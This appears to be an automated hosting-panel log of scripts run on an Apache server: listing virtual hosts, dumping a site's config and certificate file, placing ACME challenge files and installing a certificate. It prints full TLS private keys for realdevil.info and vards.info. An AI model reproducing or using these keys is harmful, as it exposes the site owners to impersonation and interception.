	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:01:04: 

chmod 755 /tmp/pkp342377; /tmp/pkp342377; rm /tmp/pkp342377

2025-11-30 06:01:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-30 06:01:04: 

PUT: /tmp/pkp533898

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:04: 

chmod 755 /tmp/pkp533898; /tmp/pkp533898; rm /tmp/pkp533898

2025-11-30 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf	1381

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:01:05: 

PUT: /tmp/pkp721636

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:05: 

chmod 755 /tmp/pkp721636; /tmp/pkp721636; rm /tmp/pkp721636

2025-11-30 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem	5377
e7:3e:90:3e:4e:29:30:e1:9c:3a:0f:a3:ac:25:a2:09

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBda222+90moLJdFi0R4MmQj8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjMxWhcNMjYwMjI4MDUwMjMwWjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN0l8SAiTDJ8Pw2km6pqYllnWfM+GVUu0DLUS6dhxqw7W2nrFGNJXNvbOdPHK/K7
gSYH7polh4qsmjyAoL+26+uZ6cLqOeDDsEX4y7w6Y38yLuBIzwjgsebr/8VLo+Nl
4m8DJutHRC4paQXsAIUzjFMNIeTX5k1O5p7K6U5eoFdsyQk7KsanhNfVoo7Fr4Mo
I2tXkx7Lu4h02gU+yjXrVAadEjD9nIa5t+BVScEsEtMvns2xYnf0jscZWb7nvCsj
cIJNwGDnrg8S5zwwk1fFGlJtvoE9M3glWiA26UIh+jLG9p8eEzZSa/jo9Wz6Yf6Y
CturwdZgPBhwg0ERHL42hpkCAwEAAaOCAjQwggIwMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUakT/FspfnNxU0EoAkT6VPq0Pu7AwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI1LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjD
AAABmtNZsBYAAAQDAEgwRgIhAITljuPU3xtAJGirWrOm+TBOPTJiZOGdp2jefHXA
hduKAiEApPamS/xajcamLA89SJZDnJxXsTMB9yOYNzB8kV96q3sAdgAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZrTWbANAAAEAwBHMEUCIAP5h5+y
G0nHc4ujV0p32d02IktiHQldysLEyPfkd90fAiEA/nMDG9dAzFQNqQnPBaVkcILs
t6TTC0bRpAAocxNaJuYwDQYJKoZIhvcNAQELBQADggEBAIDEknS7n9ur7b0nLHwa
HVrKKaHpALsesaa6LGAEDQIHLPmEpqPciPdpT3id17+kVNnfwoaiaFlKu7kfqR8i
liBmYjLqA7kULm7lufksSEv0gSjmw5/MuiAlXnXnjTD6l4GgnLDWIHXR/bJ0J82B
Vok3H2SQ6RBXhDiBv3fH0nPuiXTT2bJ0TDP2y4LgNiHQrQLz69nnv8weLrncHDsV
jRneuVhCm0xSThmyq2vVQ95ET1UN3PE5iWsnw/WRdYuCFN5KZ4iZ3t5QT6txYQ+q
0yiob0y01WnH6avvI3Qa3IhLhu2kUt7sX4RLl1hqn0TrhDY66SJjmWOKZc0uqYOT
G04=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdJfEgIkwyfD8N
pJuqamJZZ1nzPhlVLtAy1EunYcasO1tp6xRjSVzb2znTxyvyu4EmB+6aJYeKrJo8
gKC/tuvrmenC6jngw7BF+Mu8OmN/Mi7gSM8I4LHm6//FS6PjZeJvAybrR0QuKWkF
7ACFM4xTDSHk1+ZNTuaeyulOXqBXbMkJOyrGp4TX1aKOxa+DKCNrV5Mey7uIdNoF
Pso161QGnRIw/ZyGubfgVUnBLBLTL57NsWJ39I7HGVm+57wrI3CCTcBg564PEuc8
MJNXxRpSbb6BPTN4JVogNulCIfoyxvafHhM2Umv46PVs+mH+mArbq8HWYDwYcINB
ERy+NoaZAgMBAAECggEAUcPghjgIIjZr/bhZ0cVpvZKH4HaaWTNoyRJTMnzlPvLn
Vp8TN659RdClbdbbOfD3zD7silPL7Irqr+oDBT81tTOACZAefCr+NrDJazvPY80D
JevlmGuzeyTQuXrBCqe188OflSgRXlvzN7xNaPJpNJ/LY1gsD3NXs2hkoJQ+BnRD
FjGqnqFLq7WrcbSJoJvAMWxkLF2dlaSBzHujvC15YOCJz4IZL3McTnkEDBw7MX07
FNBhqi8dJngsnPiN30Bk4fonWO01xWfIoB9+BGKpPhgc/WGJUi0XGJDofjqziCJC
A3QLVFHWltJT71O45XZ/hxBU27aYXTbjZY/Moh8vPQKBgQD8HqPpLbzz/8zQWUh7
PPCg6O3XD011kXtuyBFMSXu8Vww9g2nUy6uMKz1zliIacojzV9fv4xRa0/tvWmDR
9bVRFG3ywAoVdpVVKMZHSCpENSdqsIZEKwFQG6bBJaQPgTgpQi6JsWVr5h9FingU
VSQ9QWu9QPoFiyPmMmcH2erwIwKBgQDgjUXjAYVhvsJqG7Xx94kS00AEjKXyAIuR
9bC/trCM+tIq+5x1EIMoyQlQmADRV8hVlnVnGhzysbdZk7VcNPZmJbGkM8a8lYQR
V7IIJot34JimGcbDpl5FOkPNjrJ9mfKDTjqHmmcRquymLeIX+rQUn/0EAIX7LcSg
DZBE8S+8EwKBgQDsGs2pixnO7xkhbNuB/dni9v/1TPFfTrTnVBlO9eoYwPRHjw/H
Jk0q4TuVSV36opQ6P2OL1X60aJyo9VyCg7YfjiBBGzLWUs0aiSrWinB6m8SkF1hF
8ngySxLpApUXqA2uJbprXGP8ne9fMoOtluZvLxr0iysZkeo2o7D1G1D3PQKBgCHy
ucIcFMI2SMYp8lPmjH6gGWmWqe/wTSl/73zMbdyifuuopnq8SFf+LL5WfKkpkEwA
NzejJwU6API19pE+IJJI2JZujXktUY4dp/i7exJgjjNuajJiEJZ+vIlzLWD3yUY4
qXieyz5MjQKCpU/iwx7rISFdwuO6g6N+6XTC0eipAoGAcYwBHjJZjJa1j5cMZb/W
RdGV5TwvAuP71dWtgBSXLYdnt9j6cd8jEAczNzczLW96wlMrS0jlwfGPHoF5zJez
y21NGWFUzYpMQ5TzimEquKSRUwBaPgTW07+BdQo9WWNl27V8XkWM1dXSxOoSawTi
SnUnRM9apzhET6SpKedna3k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:01:05: Establishing a connection
2025-11-30 06:01:05: Establishing a connection
2025-11-30 06:01:05: 

PUT: /tmp/pkp125087

#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:01:06: 

chmod 755 /tmp/pkp125087; /tmp/pkp125087; rm /tmp/pkp125087

2025-11-30 06:01:06: 


1


2025-11-30 06:01:06: Establishing a connection
2025-11-30 06:01:06: 

PUT: /tmp/pkp288830

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4
cat > RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg


2025-11-30 06:01:07: 

chmod 755 /tmp/pkp288830; /tmp/pkp288830; rm /tmp/pkp288830

2025-11-30 06:01:07: 




2025-11-30 06:01:16: Establishing a connection
2025-11-30 06:01:17: 

PUT: /tmp/pkp661082

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm 9SXvnyKFaIRQn356lLtos00VYLZ4GoaSiTqA_SKMht4
rm RrIPTAYgcN1j2fc6l1xgq1g-QjaNr5rM75BWG2ZAjhg


2025-11-30 06:01:17: 

chmod 755 /tmp/pkp661082; /tmp/pkp661082; rm /tmp/pkp661082

2025-11-30 06:01:17: 




2025-11-30 06:01:17: Establishing a connection
2025-11-30 06:01:17: 

PUT: /tmp/pkp449828

#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt

cat > $temp_file <<'endmsg'
fb:db:17:e3:76:42:24:30:d1:56:41:69:34:8b:38:c6

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBblj18G3iMJ2/np88II08lxXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjQ2WhcNMjYwMjI4MDUwMjQ1WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr6O+
EtEaDJ5TB7mj0/g8VGsCCbP1yQm5R6ZTuxFvgmZdvVZniI2cO82wp2iakpljtmc+
pDcXnrC7JXaXaeiZY+J56YfhPiqMqJ1+VTGUaJfPnDGo0tmziHmi/pr/DyAl0v56
CdtQeVDUWNkGTXMtZ8hL9vvoWvT2VEdvmQLnQ1fo2OJksas3wPycirplmnhvl6I6
QGL349WAxALCJJB5bKYwBDG5nQu4+H+LLm5ohDSpV1K7h2pzJPO2SFhV6a4+8Ldo
1Oouck92f/QvBTFor1JZh0U6p54NW31wg0vk6mhn54G1QIjq5JolDO7U8Z0T1g9Y
sseNZGSZ3vStMMT9vwIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSOp0sIFJcZSzU4GB0GwUXXXnQ8jDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvODguY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDx
AHcAGYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGa01np3QAABAMA
SDBGAiEA9YljbaQrdJDddT1eCGvw5CM4rmCHpVf94fOo9Q4mQd8CIQDzZsNjhK+1
P4+kCwqF7e7qaGeuaOQQaDMj17ZlsAH2nAB2AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmtNZ6dUAAAQDAEcwRQIhAKi8Fd/tr9QXZQ9V4CoS/8SU
dEy1d7r7CoWZQx7JL/3CAiA/aXmi96QK7r/MVNP4Mq2knO6z/HNoa+6gv+C25VQy
mTANBgkqhkiG9w0BAQsFAAOCAQEAYvdo6nxKkzyJdjZ/lmKElCQDHjM1bthtQ/8W
gypo6cfGqbuj2NcPf2UyPLrpmOy0eqlp89c49abrPCQzolElpd4+SHTCaqyQOlnW
rXbW9J/WiuAmTskEpVY3KoSjRlXwZS5dIG7ppOyQvKZojOx2ezhR7lKhQ+IKVaS9
MCp6/F/c1D5pwb1VuBoT7mt5nIWLswBZAzfNY35mNKY5PQuP9U0ezFkCdnBJpQyw
5uRFIe5cIqe4M9r5RGgOJLhc2SFMk4aXQjRdzpU9h5v3gCmJ3t5qWb4d2ykmdnc0
RwvDo4YHIPMBQSybCnuh13cQt6DE5k/YitVNB/ZYkNCWSzlY4g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvo74S0RoMnlMH
uaPT+DxUawIJs/XJCblHplO7EW+CZl29VmeIjZw7zbCnaJqSmWO2Zz6kNxeesLsl
dpdp6Jlj4nnph+E+KoyonX5VMZRol8+cMajS2bOIeaL+mv8PICXS/noJ21B5UNRY
2QZNcy1nyEv2++ha9PZUR2+ZAudDV+jY4mSxqzfA/JyKumWaeG+XojpAYvfj1YDE
AsIkkHlspjAEMbmdC7j4f4submiENKlXUruHanMk87ZIWFXprj7wt2jU6i5yT3Z/
9C8FMWivUlmHRTqnng1bfXCDS+TqaGfngbVAiOrkmiUM7tTxnRPWD1iyx41kZJne
9K0wxP2/AgMBAAECggEAAr6MOb8KqSfQJE7CQI2gY7FIVt54+KsuOfBfXoznMSJo
VI0FER0lU8ni+Lqpr6C17iOu1uIFfHVGd09jDkSUIPto7D0zR8VibUAIuUwNBZVZ
qRcdjC3aoEdGRLQnSBU4ghN31K+YkkyxBLJfZtZl3zlB9pn5B3LMZoS3OazR8Dto
wOvzTNAETTdEL++dcBvCyEsFvGsRy+mItaOJ4b1FxwVhkIdBC3UlCrC8ZXV/i38y
4kT9228n9i7ZCb02xFtFu1i/7b1Xs1Pz1hSAfjd93VFaWtTheBR+4tiGcWlLW0DK
ckdreOJ6SteSRZUHbGRAkkyslr8NRLiJWs6J/jMAAQKBgQDnuf1YslLzNVLme11k
+nPNUbX2obLv2tt3fC/b+LLaiXkWwK1Gaatotdaj3X39Pec4ba+0Ysqlpob+SBOx
KqG1yy8f4UUff9Ssmmtm1YihVbpTlEdUMYS9aFDCUkfixsgyT4ISXvvVwn4u7lo4
oNU5ixAfYy6maV2cB8nOrO7HPwKBgQDCCbf9zoP9PMVcQmmosbfpQnjBwnx6SiTh
fMME2hO90GLzyVAOhdQwTTchxHcrBp3Yi6r/CV70KLjp2rSEWooDfel3VFOyx5D/
Y3MjganCJcoa5y7TOJuSHVJbtRTRAJbI04gyzhBJzaSu1MFb9dycp6+AdK/mCZN5
ATGrVJapgQKBgF+ngfIUInOsxlzH/eSKEjVmDnQRiZjDQicPh34JKmNVrjt7K8vO
IOinb0PTUYew/vpnJMmUokxA8qaSwDY4/+nYRsqlJfB7xyG82KrpaG4YwkJwCgWy
LzY0kmm0p2HwZoGGGo5U0SYLFCVxVKLdmUcYpX4fZglhozeea2q6LhLnAoGBAKri
jkSbPMioXZPr9UuZAEQQw3K5CpFUfPiMvN+oA1zWil7y+2te10mWpyg4805ULG1K
S9UB9rsGphtl/jbV2dhLanIqNPAtK3iPqBYsGkoep8hbs3RX1UKwShjz+Bo87458
JOXBbrzgu9kxC/0mIR1h3IE/wq3P3y3hLFIcU/eBAoGBAKVAARpjyHlcjIU9yzQ1
3SvNXCNCCSNOLvOTlVThYMglU+3ZY2qdePROV6KNfSGCtg6HTwg1NGxcmBH4xlYp
jSH7ejeckvUFZ5vGcGOnRQ/AVm5z+79wQ/HRbcVxu87F7fIaqSYzWNmLuA4r9Slp
u1cQeuokS9nzB85ABrM8IW7I
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
